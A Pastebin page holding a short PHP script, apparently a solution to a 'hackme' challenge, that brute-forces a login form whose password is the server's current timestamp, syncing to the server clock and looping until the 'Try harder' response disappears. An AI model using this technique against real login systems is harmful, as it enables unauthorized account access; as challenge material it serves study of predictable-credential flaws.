Advertisement
Guest User

Untitled

a guest
May 28th, 2016
462
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.11 KB | None | 0 0
  1. <?php
  2. $hackmeurl = $argv[1]; //input the url here
  3. $timezone = 7*60*60; //servertime seems to be UTC+9, because i'm in germany it's +7h for me.
  4.  
  5. //--------------------- Nothing to edit here
  6. $time=time(); // just a start...gets changed to servertime later on
  7. $latenz = 0; // latency is going to be calculated automatically, based on 2 consecutive requests
  8. do {
  9.     // Create the context for the request
  10.     $context = stream_context_create(array(
  11.         'http' => array(
  12.             // http://www.php.net/manual/en/context.http.php
  13.             'method' => 'POST',
  14.             'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
  15.             'content' => 'user=abcde&pass='.($time+$latenz+$timezone)
  16.         )
  17.     ));
  18.  
  19.     echo 'Trying pass: '.($time+$latenz)."\n";
  20.  
  21.     $response = file_get_contents($hackmeurl, FALSE, $context);
  22.  
  23.     preg_match('/<h3>(.*?)<\/h3>/i',$response,$m);
  24.     echo "\tExpected pass: ".(strtotime($m[1])+$timezone)."\n";
  25.     $latenz = strtotime($m[1])-($time);
  26.     $time = strtotime($m[1]);
  27.  
  28.     echo "DONE\n";
  29. } while(strpos($response,'Try harder'));
  30.  
  31. print $response;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement